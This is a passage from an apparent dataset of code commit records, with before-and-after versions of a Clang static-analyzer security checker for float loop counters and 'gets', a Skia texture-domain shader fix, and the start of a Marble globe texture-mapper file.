(!vdLHS && !vdRHS)\n    return;  \n  \n  \/\/ Does either variable appear in increment?\n  const DeclRefExpr *drInc = GetIncrementedVar(increment, vdLHS, vdRHS);\n  \n  if (!drInc)\n    return;\n  \n  \/\/ Emit the error.  First figure out which DeclRefExpr in the condition\n  \/\/ referenced the compared variable.\n  const DeclRefExpr *drCond = vdLHS == drInc->getDecl() ? drLHS : drRHS;\n\n  llvm::SmallVector<SourceRange, 2> ranges;  \n  std::string sbuf;\n  llvm::raw_string_ostream os(sbuf);\n  \n  os << \"Variable '\" << drCond->getDecl()->getNameAsCString()\n     << \"' with floating point type '\" << drCond->getType().getAsString()\n     << \"' should not be used as a loop counter\";\n\n  ranges.push_back(drCond->getSourceRange());\n  ranges.push_back(drInc->getSourceRange());\n  \n  const char *bugType = \"Floating point variable used as loop counter\";\n  BR.EmitBasicReport(bugType, \"Security\", os.str().c_str(),\n                     FS->getLocStart(), ranges.data(), ranges.size());\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Check: Any use of 'gets' is insecure.\n\/\/ Originally: <rdar:\/\/problem\/6335715>\n\/\/ Implements (part of): 300-BSI (buildsecurityin.us-cert.gov)\n\/\/===----------------------------------------------------------------------===\/\/\n\nvoid WalkAST::CheckCall_gets(const CallExpr *CE, const FunctionDecl *FD) {\n  if (FD->getIdentifier() != GetIdentifier(II_gets, \"gets\"))\n    return;\n  \n  const FunctionProtoType *FTP = dyn_cast<FunctionProtoType>(FD->getType());\n  if (!FTP)\n    return;\n  \n  \/\/ Verify that the function takes a single argument.\n  if (FTP->getNumArgs() != 1)\n    return;\n\n  \/\/ Is the argument a 'char*'?\n  const PointerType *PT = dyn_cast<PointerType>(FTP->getArgType(0));\n  if (!PT)\n    return;\n  \n  if (PT->getPointeeType().getUnqualifiedType() != BR.getContext().CharTy)\n    return;\n  \n  \/\/ Issue a warning.\n  SourceRange R = CE->getCallee()->getSourceRange();\n  BR.EmitBasicReport(\"Potential buffer overflow in call to 'gets'\",\n                     \"Security\",\n                     \"Call to function 'gets' is extremely insecure as it can \"\n                     \"always result in a buffer overflow\",\n                     CE->getLocStart(), &R, 1);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Entry point for check.\n\/\/===----------------------------------------------------------------------===\/\/\n\nvoid clang::CheckSecuritySyntaxOnly(Decl *D, BugReporter &BR) {  \n  WalkAST walker(BR);\n  walker.Visit(D->getBody());  \n}\n<commit_msg>In the \"use of floating point variable as loop counter\" check, check if the DeclRefExpr is a float, not just either argument.<commit_after>\/\/==- CheckSecuritySyntaxOnly.cpp - Basic security checks --------*- C++ -*-==\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines a set of flow-insensitive security checks.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Analysis\/PathSensitive\/BugReporter.h\"\n#include \"clang\/Analysis\/LocalCheckers.h\"\n#include \"clang\/AST\/StmtVisitor.h\"\n#include \"llvm\/Support\/Compiler.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\nusing namespace clang;\n\nnamespace {\nclass VISIBILITY_HIDDEN WalkAST : public StmtVisitor<WalkAST> {\n  BugReporter &BR;  \n  IdentifierInfo *II_gets;  \npublic:\n  WalkAST(BugReporter &br) : BR(br),\n    II_gets(0) {}\n  \n  \/\/ Statement visitor methods.\n  void VisitCallExpr(CallExpr *CE);\n  void VisitForStmt(ForStmt *S);\n  void VisitStmt(Stmt *S) { VisitChildren(S); }\n\n  void VisitChildren(Stmt *S);\n  \n  \/\/ Helpers.\n  IdentifierInfo *GetIdentifier(IdentifierInfo *& II, const char *str);\n    \n  \/\/ Checker-specific methods.\n  void CheckLoopConditionForFloat(const ForStmt *FS);\n  void CheckCall_gets(const CallExpr *CE, const FunctionDecl *FD);\n};\n} \/\/ end anonymous namespace\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Helper methods.\n\/\/===----------------------------------------------------------------------===\/\/\n\nIdentifierInfo *WalkAST::GetIdentifier(IdentifierInfo *& II, const char *str) {\n  if (!II)\n    II = &BR.getContext().Idents.get(str);\n  \n  return II;  \n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ AST walking.\n\/\/===----------------------------------------------------------------------===\/\/\n\nvoid WalkAST::VisitChildren(Stmt *S) {\n  for (Stmt::child_iterator I = S->child_begin(), E = S->child_end(); I!=E; ++I)\n    if (Stmt *child = *I)\n      Visit(child);\n}\n\nvoid WalkAST::VisitCallExpr(CallExpr *CE) {\n  if (const FunctionDecl *FD = CE->getDirectCallee()) {\n    CheckCall_gets(CE, FD);    \n  }\n  \n  \/\/ Recurse and check children.\n  VisitChildren(CE);\n}\n\nvoid WalkAST::VisitForStmt(ForStmt *FS) {\n  CheckLoopConditionForFloat(FS);  \n\n  \/\/ Recurse and check children.\n  VisitChildren(FS);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Check: floating poing variable used as loop counter.\n\/\/ Originally: <rdar:\/\/problem\/6336718>\n\/\/ Implements: CERT security coding advisory FLP-30.\n\/\/===----------------------------------------------------------------------===\/\/\n\nstatic const DeclRefExpr*\nGetIncrementedVar(const Expr *expr, const VarDecl *x, const VarDecl *y) {\n  expr = expr->IgnoreParenCasts();\n  \n  if (const BinaryOperator *B = dyn_cast<BinaryOperator>(expr)) {      \n    if (!(B->isAssignmentOp() || B->isCompoundAssignmentOp() ||\n          B->getOpcode() == BinaryOperator::Comma))\n      return NULL;\n      \n    if (const DeclRefExpr *lhs = GetIncrementedVar(B->getLHS(), x, y))\n      return lhs;\n      \n    if (const DeclRefExpr *rhs = GetIncrementedVar(B->getRHS(), x, y))\n      return rhs;\n      \n    return NULL;\n  }\n    \n  if (const DeclRefExpr *DR = dyn_cast<DeclRefExpr>(expr)) {\n    const NamedDecl *ND = DR->getDecl();\n    return ND == x || ND == y ? DR : NULL;\n  }\n   \n  if (const UnaryOperator *U = dyn_cast<UnaryOperator>(expr))\n    return U->isIncrementDecrementOp()\n      ? GetIncrementedVar(U->getSubExpr(), x, y) : NULL;\n\n  return NULL;\n}\n\n\/\/\/ CheckLoopConditionForFloat - This check looks for 'for' statements that\n\/\/\/  use a floating point variable as a loop counter.\n\/\/\/  CERT: FLP30-C, FLP30-CPP.\n\/\/\/\nvoid WalkAST::CheckLoopConditionForFloat(const ForStmt *FS) {\n  \/\/ Does the loop have a condition?\n  const Expr *condition = FS->getCond();\n  \n  if (!condition)\n    return;\n\n  \/\/ Does the loop have an increment?\n  const Expr *increment = FS->getInc();\n  \n  if (!increment)\n    return;\n    \n  \/\/ Strip away '()' and casts.\n  condition = condition->IgnoreParenCasts();\n  increment = increment->IgnoreParenCasts();\n  \n  \/\/ Is the loop condition a comparison?\n  const BinaryOperator *B = dyn_cast<BinaryOperator>(condition);\n\n  if (!B)\n    return;\n  \n  \/\/ Is this a comparison?\n  if (!(B->isRelationalOp() || B->isEqualityOp()))\n    return;\n      \n  \/\/ Are we comparing variables?\n  const DeclRefExpr *drLHS = dyn_cast<DeclRefExpr>(B->getLHS()->IgnoreParens());\n  const DeclRefExpr *drRHS = dyn_cast<DeclRefExpr>(B->getRHS()->IgnoreParens());\n  \n  \/\/ Does at least one of the variables have a floating point type?\n  drLHS = drLHS && drLHS->getType()->isFloatingType() ? drLHS : NULL;\n  drRHS = drRHS && drRHS->getType()->isFloatingType() ? drRHS : NULL;\n  \n  if (!drLHS && !drRHS)\n    return;\n\n  const VarDecl *vdLHS = drLHS ? dyn_cast<VarDecl>(drLHS->getDecl()) : NULL;\n  const VarDecl *vdRHS = drRHS ? dyn_cast<VarDecl>(drRHS->getDecl()) : NULL;\n  \n  if (!vdLHS && !vdRHS)\n    return;  \n  \n  \/\/ Does either variable appear in increment?\n  const DeclRefExpr *drInc = GetIncrementedVar(increment, vdLHS, vdRHS);\n  \n  if (!drInc)\n    return;\n  \n  \/\/ Emit the error.  First figure out which DeclRefExpr in the condition\n  \/\/ referenced the compared variable.\n  const DeclRefExpr *drCond = vdLHS == drInc->getDecl() ? drLHS : drRHS;\n\n  llvm::SmallVector<SourceRange, 2> ranges;  \n  std::string sbuf;\n  llvm::raw_string_ostream os(sbuf);\n  \n  os << \"Variable '\" << drCond->getDecl()->getNameAsCString()\n     << \"' with floating point type '\" << drCond->getType().getAsString()\n     << \"' should not be used as a loop counter\";\n\n  ranges.push_back(drCond->getSourceRange());\n  ranges.push_back(drInc->getSourceRange());\n  \n  const char *bugType = \"Floating point variable used as loop counter\";\n  BR.EmitBasicReport(bugType, \"Security\", os.str().c_str(),\n                     FS->getLocStart(), ranges.data(), ranges.size());\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Check: Any use of 'gets' is insecure.\n\/\/ Originally: <rdar:\/\/problem\/6335715>\n\/\/ Implements (part of): 300-BSI (buildsecurityin.us-cert.gov)\n\/\/===----------------------------------------------------------------------===\/\/\n\nvoid WalkAST::CheckCall_gets(const CallExpr *CE, const FunctionDecl *FD) {\n  if (FD->getIdentifier() != GetIdentifier(II_gets, \"gets\"))\n    return;\n  \n  const FunctionProtoType *FTP = dyn_cast<FunctionProtoType>(FD->getType());\n  if (!FTP)\n    return;\n  \n  \/\/ Verify that the function takes a single argument.\n  if (FTP->getNumArgs() != 1)\n    return;\n\n  \/\/ Is the argument a 'char*'?\n  const PointerType *PT = dyn_cast<PointerType>(FTP->getArgType(0));\n  if (!PT)\n    return;\n  \n  if (PT->getPointeeType().getUnqualifiedType() != BR.getContext().CharTy)\n    return;\n  \n  \/\/ Issue a warning.\n  SourceRange R = CE->getCallee()->getSourceRange();\n  BR.EmitBasicReport(\"Potential buffer overflow in call to 'gets'\",\n                     \"Security\",\n                     \"Call to function 'gets' is extremely insecure as it can \"\n                     \"always result in a buffer overflow\",\n                     CE->getLocStart(), &R, 1);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Entry point for check.\n\/\/===----------------------------------------------------------------------===\/\/\n\nvoid clang::CheckSecuritySyntaxOnly(Decl *D, BugReporter &BR) {  \n  WalkAST walker(BR);\n  walker.Visit(D->getBody());  \n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"GrTextureDomainEffect.h\"\n#include \"GrTBackendEffectFactory.h\"\n#include \"gl\/GrGLEffect.h\"\n#include \"gl\/GrGLEffectMatrix.h\"\n#include \"SkFloatingPoint.h\"\n\nclass GrGLTextureDomainEffect : public GrGLEffect {\npublic:\n    GrGLTextureDomainEffect(const GrBackendEffectFactory&, const GrEffect&);\n\n    virtual void emitCode(GrGLShaderBuilder*,\n                          const GrEffectStage&,\n                          EffectKey,\n                          const char* vertexCoords,\n                          const char* outputColor,\n                          const char* inputColor,\n                          const TextureSamplerArray&) SK_OVERRIDE;\n\n    virtual void setData(const GrGLUniformManager&, const GrEffectStage&) SK_OVERRIDE;\n\n    static inline EffectKey GenKey(const GrEffectStage&, const GrGLCaps&);\n\nprivate:\n    GrGLUniformManager::UniformHandle fNameUni;\n    GrGLEffectMatrix                  fEffectMatrix;\n    GrGLfloat                         fPrevDomain[4];\n\n    typedef GrGLEffect INHERITED;\n};\n\nGrGLTextureDomainEffect::GrGLTextureDomainEffect(const GrBackendEffectFactory& factory,\n                                                 const GrEffect&)\n    : INHERITED(factory)\n    , fNameUni(GrGLUniformManager::kInvalidUniformHandle) {\n    fPrevDomain[0] = SK_FloatNaN;\n}\n\nvoid GrGLTextureDomainEffect::emitCode(GrGLShaderBuilder* builder,\n                                       const GrEffectStage&,\n                                       EffectKey key,\n                                       const char* vertexCoords,\n                                       const char* outputColor,\n                                       const char* inputColor,\n                                       const TextureSamplerArray& samplers) {\n    const char* coords;\n    fEffectMatrix.emitCodeMakeFSCoords2D(builder, key, vertexCoords, &coords);\n    fNameUni = builder->addUniform(GrGLShaderBuilder::kFragment_ShaderType,\n                                   kVec4f_GrSLType, \"TexDom\");\n\n    builder->fFSCode.appendf(\"\\tvec2 clampCoord = clamp(%s, %s.xy, %s.zw);\\n\",\n                           coords,\n                           builder->getUniformCStr(fNameUni),\n                           builder->getUniformCStr(fNameUni));\n\n    builder->fFSCode.appendf(\"\\t%s = \", outputColor);\n    builder->appendTextureLookupAndModulate(&builder->fFSCode,\n                                            inputColor,\n                                            samplers[0],\n                                            \"clampCoord\");\n    builder->fFSCode.append(\";\\n\");\n}\n\nvoid GrGLTextureDomainEffect::setData(const GrGLUniformManager& uman, const GrEffectStage& stage) {\n    const GrTextureDomainEffect& effect =\n        static_cast<const GrTextureDomainEffect&>(*stage.getEffect());\n    const GrRect& domain = effect.domain();\n\n    float values[4] = {\n        SkScalarToFloat(domain.left()),\n        SkScalarToFloat(domain.top()),\n        SkScalarToFloat(domain.right()),\n        SkScalarToFloat(domain.bottom())\n    };\n    \/\/ vertical flip if necessary\n    if (GrSurface::kBottomLeft_Origin == effect.texture(0)->origin()) {\n        values[1] = 1.0f - values[1];\n        values[3] = 1.0f - values[3];\n        \/\/ The top and bottom were just flipped, so correct the ordering\n        \/\/ of elements so that values = (l, t, r, b).\n        SkTSwap(values[1], values[3]);\n    }\n    if (0 != memcmp(values, fPrevDomain, 4 * sizeof(GrGLfloat))) {\n        uman.set4fv(fNameUni, 0, 1, values);\n    }\n    fEffectMatrix.setData(uman,\n                          effect.getMatrix(),\n                          stage.getCoordChangeMatrix(),\n                          effect.texture(0));\n}   \n\nGrGLEffect::EffectKey GrGLTextureDomainEffect::GenKey(const GrEffectStage& stage, const GrGLCaps&) {\n    const GrTextureDomainEffect& effect =\n        static_cast<const GrTextureDomainEffect&>(*stage.getEffect());\n    return GrGLEffectMatrix::GenKey(effect.getMatrix(), effect.getMatrix(), effect.texture(0));\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nGrTextureDomainEffect::GrTextureDomainEffect(GrTexture* texture, const GrRect& domain)\n    : GrSingleTextureEffect(texture)\n    , fTextureDomain(domain) {\n}\n\nGrTextureDomainEffect::GrTextureDomainEffect(GrTexture* texture,\n                                             const GrRect& domain,\n                                             const GrTextureParams& params)\n    : GrSingleTextureEffect(texture, params)\n    , fTextureDomain(domain) {\n}\n\nGrTextureDomainEffect::~GrTextureDomainEffect() {\n\n}\n\nconst GrBackendEffectFactory& GrTextureDomainEffect::getFactory() const {\n    return GrTBackendEffectFactory<GrTextureDomainEffect>::getInstance();\n}\n\nbool GrTextureDomainEffect::isEqual(const GrEffect& sBase) const {\n    const GrTextureDomainEffect& s = static_cast<const GrTextureDomainEffect&>(sBase);\n    return (INHERITED::isEqual(sBase) && this->fTextureDomain == s.fTextureDomain);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nGR_DEFINE_EFFECT_TEST(GrTextureDomainEffect);\n\nGrEffect* GrTextureDomainEffect::TestCreate(SkRandom* random,\n                                            GrContext* context,\n                                            GrTexture* textures[]) {\n    int texIdx = random->nextBool() ? GrEffectUnitTest::kSkiaPMTextureIdx :\n                                      GrEffectUnitTest::kAlphaTextureIdx;\n    GrRect domain;\n    domain.fLeft = random->nextUScalar1();\n    domain.fRight = random->nextRangeScalar(domain.fLeft, SK_Scalar1);\n    domain.fTop = random->nextUScalar1();\n    domain.fBottom = random->nextRangeScalar(domain.fTop, SK_Scalar1);\n    return SkNEW_ARGS(GrTextureDomainEffect, (textures[texIdx], domain));\n}\n<commit_msg>Fix dumb mistake of passing the same matrix to both matrix params of GrGLMatrixEffect::GenKey in texture domain effect.<commit_after>\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"GrTextureDomainEffect.h\"\n#include \"GrTBackendEffectFactory.h\"\n#include \"gl\/GrGLEffect.h\"\n#include \"gl\/GrGLEffectMatrix.h\"\n#include \"SkFloatingPoint.h\"\n\nclass GrGLTextureDomainEffect : public GrGLEffect {\npublic:\n    GrGLTextureDomainEffect(const GrBackendEffectFactory&, const GrEffect&);\n\n    virtual void emitCode(GrGLShaderBuilder*,\n                          const GrEffectStage&,\n                          EffectKey,\n                          const char* vertexCoords,\n                          const char* outputColor,\n                          const char* inputColor,\n                          const TextureSamplerArray&) SK_OVERRIDE;\n\n    virtual void setData(const GrGLUniformManager&, const GrEffectStage&) SK_OVERRIDE;\n\n    static inline EffectKey GenKey(const GrEffectStage&, const GrGLCaps&);\n\nprivate:\n    GrGLUniformManager::UniformHandle fNameUni;\n    GrGLEffectMatrix                  fEffectMatrix;\n    GrGLfloat                         fPrevDomain[4];\n\n    typedef GrGLEffect INHERITED;\n};\n\nGrGLTextureDomainEffect::GrGLTextureDomainEffect(const GrBackendEffectFactory& factory,\n                                                 const GrEffect&)\n    : INHERITED(factory)\n    , fNameUni(GrGLUniformManager::kInvalidUniformHandle) {\n    fPrevDomain[0] = SK_FloatNaN;\n}\n\nvoid GrGLTextureDomainEffect::emitCode(GrGLShaderBuilder* builder,\n                                       const GrEffectStage&,\n                                       EffectKey key,\n                                       const char* vertexCoords,\n                                       const char* outputColor,\n                                       const char* inputColor,\n                                       const TextureSamplerArray& samplers) {\n    const char* coords;\n    fEffectMatrix.emitCodeMakeFSCoords2D(builder, key, vertexCoords, &coords);\n    fNameUni = builder->addUniform(GrGLShaderBuilder::kFragment_ShaderType,\n                                   kVec4f_GrSLType, \"TexDom\");\n\n    builder->fFSCode.appendf(\"\\tvec2 clampCoord = clamp(%s, %s.xy, %s.zw);\\n\",\n                           coords,\n                           builder->getUniformCStr(fNameUni),\n                           builder->getUniformCStr(fNameUni));\n\n    builder->fFSCode.appendf(\"\\t%s = \", outputColor);\n    builder->appendTextureLookupAndModulate(&builder->fFSCode,\n                                            inputColor,\n                                            samplers[0],\n                                            \"clampCoord\");\n    builder->fFSCode.append(\";\\n\");\n}\n\nvoid GrGLTextureDomainEffect::setData(const GrGLUniformManager& uman, const GrEffectStage& stage) {\n    const GrTextureDomainEffect& effect =\n        static_cast<const GrTextureDomainEffect&>(*stage.getEffect());\n    const GrRect& domain = effect.domain();\n\n    float values[4] = {\n        SkScalarToFloat(domain.left()),\n        SkScalarToFloat(domain.top()),\n        SkScalarToFloat(domain.right()),\n        SkScalarToFloat(domain.bottom())\n    };\n    \/\/ vertical flip if necessary\n    if (GrSurface::kBottomLeft_Origin == effect.texture(0)->origin()) {\n        values[1] = 1.0f - values[1];\n        values[3] = 1.0f - values[3];\n        \/\/ The top and bottom were just flipped, so correct the ordering\n        \/\/ of elements so that values = (l, t, r, b).\n        SkTSwap(values[1], values[3]);\n    }\n    if (0 != memcmp(values, fPrevDomain, 4 * sizeof(GrGLfloat))) {\n        uman.set4fv(fNameUni, 0, 1, values);\n    }\n    fEffectMatrix.setData(uman,\n                          effect.getMatrix(),\n                          stage.getCoordChangeMatrix(),\n                          effect.texture(0));\n}   \n\nGrGLEffect::EffectKey GrGLTextureDomainEffect::GenKey(const GrEffectStage& stage, const GrGLCaps&) {\n    const GrTextureDomainEffect& effect =\n        static_cast<const GrTextureDomainEffect&>(*stage.getEffect());\n    return GrGLEffectMatrix::GenKey(effect.getMatrix(), stage.getCoordChangeMatrix(), effect.texture(0));\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nGrTextureDomainEffect::GrTextureDomainEffect(GrTexture* texture, const GrRect& domain)\n    : GrSingleTextureEffect(texture)\n    , fTextureDomain(domain) {\n}\n\nGrTextureDomainEffect::GrTextureDomainEffect(GrTexture* texture,\n                                             const GrRect& domain,\n                                             const GrTextureParams& params)\n    : GrSingleTextureEffect(texture, params)\n    , fTextureDomain(domain) {\n}\n\nGrTextureDomainEffect::~GrTextureDomainEffect() {\n\n}\n\nconst GrBackendEffectFactory& GrTextureDomainEffect::getFactory() const {\n    return GrTBackendEffectFactory<GrTextureDomainEffect>::getInstance();\n}\n\nbool GrTextureDomainEffect::isEqual(const GrEffect& sBase) const {\n    const GrTextureDomainEffect& s = static_cast<const GrTextureDomainEffect&>(sBase);\n    return (INHERITED::isEqual(sBase) && this->fTextureDomain == s.fTextureDomain);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nGR_DEFINE_EFFECT_TEST(GrTextureDomainEffect);\n\nGrEffect* GrTextureDomainEffect::TestCreate(SkRandom* random,\n                                            GrContext* context,\n                                            GrTexture* textures[]) {\n    int texIdx = random->nextBool() ? GrEffectUnitTest::kSkiaPMTextureIdx :\n                                      GrEffectUnitTest::kAlphaTextureIdx;\n    GrRect domain;\n    domain.fLeft = random->nextUScalar1();\n    domain.fRight = random->nextRangeScalar(domain.fLeft, SK_Scalar1);\n    domain.fTop = random->nextUScalar1();\n    domain.fBottom = random->nextRangeScalar(domain.fTop, SK_Scalar1);\n    return SkNEW_ARGS(GrTextureDomainEffect, (textures[texIdx], domain));\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ This file is part of the Marble Desktop Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2007      Carlos Licea     <carlos _licea@hotmail.com>\n\/\/\n\n\n#include \"AbstractScanlineTextureMapper.h\"\n\n#include <QtCore\/QDebug>\n\n#include \"GeoPolygon.h\"\n#include \"GeoSceneTexture.h\"\n#include \"MarbleDirs.h\"\n#include \"TextureTile.h\"\n#include \"TileLoader.h\"\n#include \"TileLoaderHelper.h\"\n#include \"ViewParams.h\"\n\nusing namespace Marble;\n\n\/\/ Defining INTERLACE will make sure that for two subsequent scanlines\n\/\/ every second scanline will be a deep copy of the first scanline.\n\/\/ This results in a more coarse resolution and in a speedup for the \n\/\/ texture mapping of approx. 25%.\n\n\n\nAbstractScanlineTextureMapper::AbstractScanlineTextureMapper( TileLoader *tileLoader, QObject * parent )\n    : QObject( parent ),\n      m_iPosX( 0 ),\n      m_iPosY( 0 ),\n      m_posX( 0.0 ),\n      m_posY( 0.0 ),\n      m_maxGlobalX( 0 ),\n      m_maxGlobalY( 0 ),\n      m_imageHeight( 0 ),\n      m_imageWidth( 0 ),\n      m_imageRadius( 0 ),\n      m_prevLat( 0.0 ),\n      m_prevLon( 0.0 ),\n      m_toTileCoordinatesLon( 0.0 ),\n      m_toTileCoordinatesLat( 0.0 ),\n      m_interlaced( false ),\n      m_tileLoader( tileLoader ),\n      m_scanLine( 0 ),\n      m_tile( 0 ),\n      m_tileLevel( 0 ),\n      m_maxTileLevel( 0 ),\n      m_preloadTileLevel( -1 ),\n      m_previousRadius( 0 ),\n      m_tilePosX( 0 ),\n      m_tilePosY( 0 ),\n      m_globalWidth( 0 ),\n      m_globalHeight( 0 ),\n      m_normGlobalWidth( 0.0 ),\n      m_normGlobalHeight( 0.0 )\n{\n    GeoSceneTexture * texture = 0;\n\n    if ( tileLoader ) {\n        GeoSceneLayer * layer = tileLoader->layer();\n        texture = static_cast<GeoSceneTexture *>( layer->groundDataset() );\n    }\n\n    m_tileProjection = tileLoader && texture\n                        ? texture->projection()\n                        : GeoSceneTexture::Equirectangular;\n\n    connect( m_tileLoader, SIGNAL( tileUpdateAvailable() ), \n             this,         SLOT( notifyMapChanged() ) );\n\n    detectMaxTileLevel();\n}\n\n\nAbstractScanlineTextureMapper::~AbstractScanlineTextureMapper()\n{\n      m_tileLoader->disconnect();\n\/\/      delete m_tileLoader;\n}\n\n\nvoid AbstractScanlineTextureMapper::setLayer( GeoSceneLayer * layer )\n{\n    m_tileLoader->setLayer( layer );\n    GeoSceneTexture * texture = static_cast<GeoSceneTexture *>( layer->groundDataset() );\n    m_tileProjection = texture->projection();\n    m_tileLevel = -1;\n    detectMaxTileLevel();\n\n    m_preloadTileLevel = -1;\n    m_previousRadius = 0;\n}\n\n\nvoid AbstractScanlineTextureMapper::selectTileLevel( ViewParams* viewParams )\n{\n    const int radius = viewParams->radius();\n\n    \/\/ As our tile resolution doubles with each level we calculate\n    \/\/ the tile level from tilesize and the globe radius via log(2)\n\n    qreal  linearLevel = ( 2.0 * (qreal)( radius )\n\t\t\t    \/ (qreal) ( m_tileLoader->tileWidth() ) );\n    int     tileLevel   = 0;\n\n    if ( linearLevel < 1.0 )\n        linearLevel = 1.0; \/\/ Dirty fix for invalid entry linearLevel\n\n    qreal tileLevelF = log( linearLevel ) \/ log( 2.0 ) + 1.0;\n    tileLevel = (int)( tileLevelF );\n\n\/\/    qDebug() << \"tileLevelF: \" << tileLevelF << \" tileLevel: \" << tileLevel;\n\n    qreal tileCol = 0.0; \n    qreal tileRow = 0.0;\n\n    if (    tileLevelF > tileLevel + 0.3 \n         && m_preloadTileLevel != tileLevel + 1\n         && m_previousRadius < radius \n         && tileLevel > 0 && tileLevel < m_maxTileLevel ) {\n\n        m_preloadTileLevel = tileLevel + 1;\n\n        centerTiles( viewParams, m_preloadTileLevel, tileCol, tileRow );\n\/\/        qDebug() << \"Preload tileLevel: \" << m_preloadTileLevel\n\/\/        << \" tileCol: \" << tileCol << \" tileRow: \" << tileRow;\n    }\n    if (    tileLevelF < tileLevel + 0.7 \n         && m_preloadTileLevel != tileLevel - 1\n         && m_previousRadius > radius \n         && tileLevel > 1 && tileLevel < m_maxTileLevel + 1 ) {\n\n        m_preloadTileLevel = tileLevel - 1;\n\n        centerTiles( viewParams, m_preloadTileLevel, tileCol, tileRow );\n\/\/        qDebug() << \"Preload tileLevel: \" << m_preloadTileLevel\n\/\/        << \" tileCol: \" << tileCol << \" tileRow: \" << tileRow;\n    }\n    if ( m_previousRadius == radius ) m_preloadTileLevel = -1;\n    else m_previousRadius = radius;\n\n    if ( tileLevel > m_maxTileLevel )\n        tileLevel = m_maxTileLevel;\n\n    if ( tileLevel != m_tileLevel ) {\n        m_tileLoader->flush();\n        tileLevelInit( tileLevel );\n    }\n}\n\n\nvoid AbstractScanlineTextureMapper::centerTiles( ViewParams *viewParams, \n    const int tileLevel, qreal& tileCol, qreal& tileRow )\n{\n    qreal centerLon, centerLat;\n    viewParams->centerCoordinates( centerLon, centerLat );\n\n    GeoSceneTexture * texture = static_cast<GeoSceneTexture *>( m_tileLoader->layer()->groundDataset() );\n\n    tileCol = TileLoaderHelper::levelToColumn( \n                                texture->levelZeroColumns(), \n                                tileLevel ) * ( 1.0 + centerLon \/ M_PI ) \/ 2.0;\n\n    tileRow = TileLoaderHelper::levelToRow( \n                                texture->levelZeroRows(),\n                                tileLevel ) * ( 0.5 - centerLat \/ M_PI );\n}\n\n\nvoid AbstractScanlineTextureMapper::tileLevelInit( int tileLevel )\n{\n    \/\/    qDebug() << \"Texture Level was set to: \" << tileLevel;\n    m_tileLevel = tileLevel;\n\n    m_globalWidth = m_tileLoader->globalWidth( m_tileLevel );\n    m_normGlobalWidth = (qreal)( m_globalWidth \/ ( 2 * M_PI ) );\n    m_globalHeight = m_tileLoader->globalHeight( m_tileLevel );\n    m_normGlobalHeight = (qreal)( m_globalHeight \/  M_PI );\n\n    m_maxGlobalX = m_globalWidth  - 1;\n    m_maxGlobalY = m_globalHeight - 1;\n\n    \/\/ These variables move the origin of global texture coordinates from \n    \/\/ the center to the upper left corner and subtract the tile position \n    \/\/ in that coordinate system. In total this equals a coordinate \n    \/\/ transformation to tile coordinates.\n  \n    m_toTileCoordinatesLon = (qreal)(m_globalWidth \/ 2 - m_tilePosX);\n    m_toTileCoordinatesLat = (qreal)(m_globalHeight \/ 2 - m_tilePosY);\n}\n\n\nvoid AbstractScanlineTextureMapper::resizeMap(int width, int height)\n{\n    m_imageHeight = height;\n    m_imageWidth  = width;\n\n    m_imageRadius = ( m_imageWidth * m_imageWidth \/ 4\n                      + m_imageHeight * m_imageHeight \/ 4 );\n}\n\nvoid AbstractScanlineTextureMapper::pixelValue(const qreal& lon,\n                                               const qreal& lat, \n                                               QRgb* scanLine,\n                                               bool smooth )\n{\n    \/\/ The same method using integers performs about 33% faster.\n    \/\/ However we need the qreal version to create the high quality mode.\n\n    if ( smooth ) {\n        \/\/ Convert the lon and lat coordinates of the position on the scanline\n        \/\/ measured in radian to the pixel position of the requested \n        \/\/ coordinate on the current tile.\n\n        m_posX = m_toTileCoordinatesLon + rad2PixelX( lon );\n        m_posY = m_toTileCoordinatesLat + rad2PixelY( lat );\n\n        \/\/ Most of the time while moving along the scanLine we'll stay on the \n        \/\/ same tile. However at the tile border we might \"fall off\". If that \n        \/\/ happens we need to find out the next tile that needs to be loaded.\n    \n        if ( m_posX  >= (qreal)( 